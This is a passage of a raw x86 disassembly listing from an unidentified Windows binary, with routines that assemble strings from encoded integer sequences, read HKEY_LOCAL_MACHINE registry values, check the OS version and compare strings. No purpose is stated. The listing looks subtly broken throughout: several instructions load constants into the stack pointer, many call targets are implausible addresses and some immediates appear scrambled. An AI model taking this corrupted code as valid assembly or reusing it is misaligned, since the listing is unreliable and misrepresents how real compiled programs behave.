45h push 45h lea ecx, [esp+1A8h+var_164] push 9 push ecx call sub_4018DE add esp, 38h mov ecx, eax mov byte ptr [esp+178h+var_4], 26h call sub_401726 push eax lea ecx, [esp+17Ch+var_134] call sub_401726 push eax lea edx, [esp+180h+var_134] push 7099A3h push edx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 lea ecx, [esp+178h+var_134] call sub_4015F5 push eax call dword ptr ds:784CD1h lea eax, [esp+178h+var_168] lea ecx, [esp+178h+var_100] push eax push 7C2668h push 0 call sub_401726 push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea ecx, [esp+19Ch+var_164] push 13h push ecx call sub_4018DE add esp, 2Ch mov ecx, eax mov byte ptr [esp+178h+var_4], 27h call sub_401726 mov edx, [esp+178h+var_168] push eax push edx call ebp lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 mov eax, [esp+178h+var_168] push eax call edi push 0 push 5 push 18h push 5 push 4Eh push 13h push 19h push 13h push 0Eh push 9 lea ecx, [esp+1A0h+var_164] push 17h push ecx call sub_4018DE add esp, 30h mov ecx, eax mov byte ptr [esp+178h+var_4], 28h call sub_401726 push eax call sub_40157D add esp, 4 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 push 3E1334h push 5F099Ah lea ecx, [esp+180h+var_134] call sub_401B40 push eax call dword ptr ds:6F84CDh push 0 push 5 push 18h push 5 push 4Eh push 13h push 19h push 13h push 0Eh push 9 lea edx, [esp+1A0h+var_164] push 17h push edx call sub_4018DE add esp, 30h mov ecx, eax mov byte ptr [esp+178h+var_4], 29h call sub_401726 push eax lea ecx, [esp+17Ch+var_134] call sub_401726 push eax lea eax, [esp+180h+var_134] push 37C266h push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 lea ecx, [esp+178h+var_134] call sub_4015F5 push eax call dword ptr ds:1BE133h lea ecx, [esp+178h+var_168] push ecx push 4DF099h push 0 lea ecx, [esp+184h+var_100] call sub_401726 push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 4 push 10h push 15h push 4 push 47h lea edx, [esp+1ACh+var_164] push 4 push edx call sub_4018DE add esp, 3Ch mov ecx, eax mov byte ptr [esp+178h+var_4], 2Ah call sub_401726 push eax mov eax, [esp+17Ch+var_168] push eax call ebp lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 mov ecx, [esp+178h+var_168] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 5 push 0Ch push 7 push 1 push 5 push 2 lea edx, [esp+1A4h+var_164] push 2 push edx call sub_4018DE add esp, 34h mov ecx, eax mov byte ptr [esp+178h+var_4], 2Bh call sub_401726 push eax call sub_40157D add esp, 4 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 push 66F84Ch push 337C26h lea ecx, [esp+180h+var_134] call sub_401B40 push eax call dword ptr ds:59BE13h push 0 push 5 push 18h push 5 push 4Eh push 5 push 0Ch push 7 push 1 push 5 push 2 lea eax, [esp+1A4h+var_164] push 2 push eax call sub_4018DE add esp, 34h mov ecx, eax mov byte ptr [esp+178h+var_4], 2Ch call sub_401726 push eax lea ecx, [esp+17Ch+var_134] call sub_401726 push eax lea ecx, [esp+180h+var_134] push 2CDF09h push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 lea ecx, [esp+178h+var_134] call sub_4015F5 push eax call dword ptr ds:166F84h lea edx, [esp+178h+var_168] lea ecx, [esp+178h+var_100] push edx push offset word_4B37C2 push 0 call sub_401726 push eax push 80000002h call esi push 0 push 0Eh push 0Fh push 27h push 0Bh push 13h push 1 lea eax, [esp+194h+var_164] push 2Eh push eax call sub_4018DE add esp, 24h mov ecx, eax mov byte ptr [esp+178h+var_4], 2Dh call sub_401726 mov ecx, [esp+178h+var_168] push eax push ecx call ebp lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 mov edx, [esp+178h+var_168] push edx call edi push 0 push 5 push 18h push 5 push 4Eh push 0Eh push 0Fh push 0Dh push 0Bh push 13h push 1 lea eax, [esp+1A4h+var_164] push 14h push eax call sub_4018DE add esp, 34h mov ecx, eax mov byte ptr [esp+178h+var_4], 2Eh call sub_401726 push eax call sub_40157D add esp, 4 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 push 259BE1h push 52CDF0h lea ecx, [esp+180h+var_134] call sub_401B40 push eax call dword ptr ds:6966F8h push 0 push 5 push 18h push 5 push 4Eh push 0Eh push 0Fh push 0Dh push 0Bh push 13h push 1 lea ecx, [esp+1A4h+var_164] push 14h push ecx call sub_4018DE add esp, 34h mov ecx, eax mov byte ptr [esp+178h+var_4], 2Fh call sub_401726 push eax lea ecx, [esp+17Ch+var_134] call sub_401726 push eax push 34B37Ch lea edx, [esp+184h+var_134] push edx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 lea ecx, [esp+178h+var_134] call sub_4015F5 push eax call dword ptr ds:1A59BEh lea eax, [esp+178h+var_168] lea ecx, [esp+178h+var_100] push eax push 4D2CDFh push 0 call sub_401726 push eax push 80000002h call esi push 0 push 12h push 5 push 12h push 0Fh push 0Ch push 10h push 18h lea ecx, [esp+198h+var_E8] push 1Fh push ecx call sub_4018DE add esp, 28h mov ecx, eax mov byte ptr [esp+178h+var_4], 30h call sub_401726 mov edx, [esp+178h+var_168] push eax push edx call ebp lea ecx, [esp+178h+var_E8] mov byte ptr [esp+178h+var_4], bl call sub_4011F9 mov eax, [esp+178h+var_168] push eax call edi mov esi, ds:dword_4B3AE8 push 66966Fh call esi push 734B37h call esi push 39A59Bh call esi push 1CD2CDh call esi add esp, 10h lea ecx, [esp+178h+var_134] mov byte ptr [esp+178h+var_4], 1Dh call sub_4011F9 lea ecx, [esp+178h+var_100] mov [esp+178h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, 1 jmp loc_405295 sub_404890 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 550h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406300 proc near ; CODE XREF: sub_401875j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push 0E6966h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_4013CF mov esi, [esp+38h+arg_4] mov ebx, 2A39A5h cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406351 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_401F73 mov [esp+38h+var_28], ebp jmp loc_4063F7 ; --------------------------------------------------------------------------- loc_406351: ; CODE XREF: sub_406300+3Aj call dword ptr ds:1D1CD2h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_4063E3 mov eax, ecx mov edx, 9D1CDh cdq idiv ecx mov esp, 60CE8Eh mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push 386747h push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_40146F jmp short loc_4063F3 ; --------------------------------------------------------------------------- loc_4063E3: ; CODE XREF: sub_406300+7Cj mov esi, [esp+38h+arg_0] push 1C33A3h mov ecx, esi call sub_4017A8 loc_4063F3: ; CODE XREF: sub_406300+E1j mov [esp+38h+var_28], ebp loc_4063F7: ; CODE XREF: sub_406300+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_4011F9 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_406300 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_406470: ; CODE XREF: _294ADE7B:004015DCj push ecx push esi mov esi, [esp+0Ch] push 0E19D1h mov ecx, esi mov dword ptr [esp+8], 0 call sub_4017A8 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4064B0 proc near ; CODE XREF: sub_401DF7j var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4064B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_4013CF mov [esp+1A4h+var_4], 1 call dword ptr ds:238674h mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h call dword ptr ds:51C33Ah lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax call dword ptr ds:68E19Dh mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_40657E mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406566 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406556 mov ecx, 0AF470Ch jmp loc_4065F1 ; --------------------------------------------------------------------------- loc_406556: ; CODE XREF: sub_4064B0+9Aj cmp eax, 2 jnz loc_4065ED mov eax, 0C5FA38h jmp short loc_4065BA ; --------------------------------------------------------------------------- loc_406566: ; CODE XREF: sub_4064B0+8Ej cmp eax, 0Ah jnz short loc_406572 mov ecx, 6F17E8h jmp short loc_4065B0 ; --------------------------------------------------------------------------- loc_406572: ; CODE XREF: sub_4064B0+B9j cmp eax, 5Ah jnz short loc_4065AB mov edi, 65FC5Fh jmp short loc_4065B0 ; --------------------------------------------------------------------------- loc_40657E: ; CODE XREF: sub_4064B0+83j cmp eax, 5 jnz short loc_4065AB mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406595 mov edx, offset byte_4597F1 jmp short loc_4065B0 ; --------------------------------------------------------------------------- loc_406595: ; CODE XREF: sub_4064B0+DCj cmp eax, 1 jnz short loc_4065A1 mov edi, 0C4AB2Fh jmp short loc_4065B0 ; --------------------------------------------------------------------------- loc_4065A1: ; CODE XREF: sub_4064B0+E8j cmp eax, 2 mov ecx, offset dword_4B12AC jz short loc_4065B0 loc_4065AB: ; CODE XREF: sub_4064B0+C5j ; sub_4064B0+D1j mov edx, 8A5895h loc_4065B0: ; CODE XREF: sub_4064B0+C0j ; sub_4064B0+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_4065F1 loc_4065BA: ; CODE XREF: sub_4064B0+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_4065F1 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset word_452C4A push edx call dword ptr ds:229625h add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_4065F1 ; --------------------------------------------------------------------------- loc_4065ED: ; CODE XREF: sub_4064B0+A9j mov ebp, [esp+1A4h+var_198] loc_4065F1: ; CODE XREF: sub_4064B0+A1j ; sub_4064B0+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx call dword ptr ds:514B12h lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax call dword ptr ds:68A589h mov eax, esi mov esp, 0E5A296h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov esp, 0B968Ah mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov ecx, 0A0B968h push ebp mul ecx sub ecx, edx mov ebx, 0AA82E5h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_401735 push eax lea ecx, [esp+1D4h+var_18C] push 5D4172h push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_40146F mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_4011F9 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_4064B0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4067C0 proc near ; CODE XREF: sub_4015F5j mov eax, [ecx+9] retn sub_4067C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4067E0 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 2EA0B9h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_4011F9 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4067E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406850 proc near ; CODE XREF: sub_401569j mov eax, ecx mov dword ptr [eax], offset off_437008 mov dword ptr [eax+110h], 0 retn sub_406850 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406880: ; CODE XREF: _294ADE7B:00401E38j push esi mov esi, ecx call sub_4013E8 test byte ptr [esp+8], 1 jz short loc_406898 push esi call sub_430332 add esp, 4 loc_406898: ; CODE XREF: _294ADE7B:0040688Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4068B0 proc near ; CODE XREF: sub_4013E8j mov dword ptr [ecx], offset off_437008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_4068C7 push ecx call sub_430332 pop ecx locret_4068C7: ; CODE XREF: sub_4068B0+Ej retn sub_4068B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4068E0 proc near ; CODE XREF: sub_401334j var_454 = byte ptr -454h var_43C = byte ptr -43Ch var_424 = byte ptr -424h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 17505Ch push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406911 push eax call sub_430332 add esp, 4 loc_406911: ; CODE XREF: sub_4068E0+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_43034A mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_43034A mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, ds:dword_4B3AD8 mov eax, ecx mov esi, edi mov edi, edx push 0BA82Eh shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp add esp, 10h mov [esp+464h+var_40C], eax lea esi, [esp+464h+var_408] mov ecx, offset byte_402EA0 loc_4069C2: ; CODE XREF: sub_4068E0+F4j push 281750h push 0 call ebp mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_4069C2 mov eax, [esp+464h+var_40C] xor ecx, ecx cmp eax, ecx jz loc_406BC8 lea ebp, [esp+464h+var_40C] loc_4069E8: ; CODE XREF: sub_4068E0+2E0j mov edi, [ebp+0] mov ebp, 0A1502Eh mov eax, edi loc_4069F2: ; CODE XREF: sub_4068E0+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406A16 test cl, cl jz short loc_406A12 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406A16 add eax, 2 add esi, 2 test cl, cl jnz short loc_4069F2 loc_406A12: ; CODE XREF: sub_4068E0+11Cj xor eax, eax jmp short loc_406A1B ; --------------------------------------------------------------------------- loc_406A16: ; CODE XREF: sub_4068E0+118j ; sub_4068E0+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406A1B: ; CODE XREF: sub_4068E0+134j test eax, eax jz loc_406BB8 mov ecx, 0CA8540h mov eax, edi loc_406A2A: ; CODE XREF: sub_4068E0+168j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406A4E test cl, cl jz short loc_406A4A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406A4E add eax, 2 add esi, 2 test cl, cl jnz short loc_406A2A loc_406A4A: ; CODE XREF: sub_4068E0+154j xor eax, eax jmp short loc_406A53 ; --------------------------------------------------------------------------- loc_406A4E: ; CODE XREF: sub_4068E0+150j ; sub_4068E0+15Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_406A53: ; CODE XREF: sub_4068E0+16Cj test eax, eax jnz short loc_406A60 mov byte ptr [ebx+9], 1 jmp loc_406BB8 ; --------------------------------------------------------------------------- loc_406A60: ; CODE XREF: sub_4068E0+175j mov ebp, 0C66D42h mov eax, edi loc_406A67: ; CODE XREF: sub_4068E0+1A5j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406A8B test cl, cl jz short loc_406A87 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406A8B add eax, 2 add esi, 2 test cl, cl jnz short loc_406A67 loc_406A87: ; CODE XREF: sub_4068E0+191j xor eax, eax jmp short loc_406A90 ; --------------------------------------------------------------------------- loc_406A8B: ; CODE XREF: sub_4068E0+18Dj ; sub_4068E0+19Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406A90: ; CODE XREF: sub_4068E0+1A9j test eax, eax jnz short loc_406A9D mov byte ptr [ebx+0Ah], 1 jmp loc_406BB8 ; --------------------------------------------------------------------------- loc_406A9D: ; CODE XREF: sub_4068E0+1B2j mov eax, 2C66D4h mov eax, edi loc_406AA4: ; CODE XREF: sub_4068E0+1E2j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406AC8 test cl, cl jz short loc_406AC4 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406AC8 add eax, 2 add esi, 2 test cl, cl jnz short loc_406AA4 loc_406AC4: ; CODE XREF: sub_4068E0+1CEj xor eax, eax jmp short loc_406ACD ; --------------------------------------------------------------------------- loc_406AC8: ; CODE XREF: sub_4068E0+1CAj ; sub_4068E0+1D8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406ACD: ; CODE XREF: sub_4068E0+1E6j test eax, eax jnz loc_406BB8 lea ecx, [esp+464h+var_454] call sub_4013CF mov eax, [esp+464h+arg_0] push 16336Ah push eax mov [esp+46Ch+var_4], 0 call dword ptr ds:0B19B5h add esp, 8 test eax, eax jz loc_406BA4 push eax lea ecx, [esp+468h+var_454] call sub_401564 push 1 push 58CDAh lea ecx, [esp+46Ch+var_43C] push 1 push ecx lea ecx, [esp+474h+var_454] call sub_4011C2 push 2C66Dh mov ecx, eax mov byte ptr [esp+468h+var_4], 1 call sub_4012B7 lea ecx, [esp+464h+var_43C] mov esi, eax mov byte ptr [esp+464h+var_4], 0 call sub_4011F9 test esi, esi jz short loc_406BA4 push 1 push 16336h lea edx, [esp+46Ch+var_424] push 1 push edx lea ecx, [esp+474h+var_454] mov byte ptr [ebx+0Bh], 1 call sub_4011C2 push 0B19Bh mov ecx, eax mov byte ptr [esp+468h+var_4], 2 call sub_4015F5 push eax lea eax, [ebx+0Ch] push eax call large dword ptr ds:58CDh add esp, 0Ch lea ecx, [esp+464h+var_424] mov byte ptr [esp+464h+var_4], 0 call sub_4011F9 add ebp, 4 loc_406BA4: ; CODE XREF: sub_4068E0+221j ; sub_4068E0+271j lea ecx, [esp+464h+var_454] mov [esp+464h+var_4], 0FFFFFFFFh call sub_4011F9 loc_406BB8: ; CODE XREF: sub_4068E0+13Dj ; sub_4068E0+17Bj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_4069E8 xor ecx, ecx loc_406BC8: ; CODE XREF: sub_4068E0+FEj mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406BD5 mov [ebx+5], ecx loc_406BD5: ; CODE XREF: sub_4068E0+2F0j cmp [ebx+5], ecx jnz short loc_406BE5 test al, al jz short loc_406BE5 mov dword ptr [ebx+5], 0Ah loc_406BE5: ; CODE XREF: sub_4068E0+2F8j ; sub_4068E0+2FCj mov [ebx+5], ecx mov ecx, [esp+458h+var_C] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 sub_4068E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406CE0 proc near ; CODE XREF: sub_401F28j var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 2C66h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_401190 lea ecx, [esi+4] call sub_4016A9 lea eax, [esp+7] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_4014FB mov ecx, [esp+18h+var_C] mov dword ptr [esi], offset off_43700C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn sub_406CE0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406D60 proc near ; CODE XREF: sub_401523j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401564 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_401488 pop esi retn 0Ch sub_406D60 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406DA0 proc near ; CODE XREF: sub_401A0Fj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_4019E2 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_4015A5 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_402027 push eax lea ecx, [esp+14h+var_8] call sub_401785 test al, al jz short loc_406E1B mov edi, [esp+10h+arg_0] loc_406DE3: ; CODE XREF: sub_406DA0+79j push edi lea ecx, [esp+14h+var_8] call sub_40169F mov ecx, [eax] call sub_4012B7 test eax, eax lea ecx, [esp+10h+var_8] jz short loc_406E25 call sub_401DCF lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_402027 push eax lea ecx, [esp+14h+var_8] call sub_401785 test al, al jnz short loc_406DE3 loc_406E1B: ; CODE XREF: sub_406DA0+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_406E25: ; CODE XREF: sub_406DA0+5Aj call sub_40169F mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_406DA0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406E70 proc near ; CODE XREF: sub_40205Ej xor al, al retn 4 sub_406E70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406E90 proc near ; CODE XREF: sub_4014FBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40117C mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_406E90 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406ED0 proc near ; CODE XREF: sub_4015A5j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40199C mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401FFA mov eax, esi pop esi retn 4 sub_406ED0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406F10 proc near ; CODE XREF: sub_402027j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401FFA mov eax, esi pop esi retn 4 sub_406F10 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406F40 proc near ; CODE XREF: sub_401488j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402027 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401357 pop esi pop ecx retn 4 sub_406F40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406F80 proc near ; CODE XREF: sub_4019E2j push esi mov esi, ecx call sub_401A6E mov eax, esi pop esi retn sub_406F80 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406FA0 proc near ; CODE XREF: sub_40169Fj mov eax, [ecx] push eax call sub_4011E0 add esp, 4 retn sub_406FA0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406FC0 proc near ; CODE XREF: sub_401DCFj push esi mov esi, ecx mov eax, [esi] push eax call sub_40199C mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_406FC0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406FF0 proc near ; CODE XREF: sub_401785j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E4C neg al sbb eax, eax inc eax retn 4 sub_406FF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407020 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401B6D mov edi, eax push edi call sub_401B3B mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40117C push edi mov ebx, eax call sub_401B3B push edi mov [eax], ebx call sub_401B3B mov edi, [eax] push edi call sub_401B3B mov ecx, [eax] push ecx call sub_40199C mov edx, [esp+1Ch+arg_8] add esp, 10h mov [eax], edi push edx push edi call sub_4011E0 add esp, 4 mov ecx, esi push eax loc_40707A: ; DATA XREF: _5AD6BD6B:0043D440o ; _5AD6BD6B:0043D454o ... call sub_4015E6 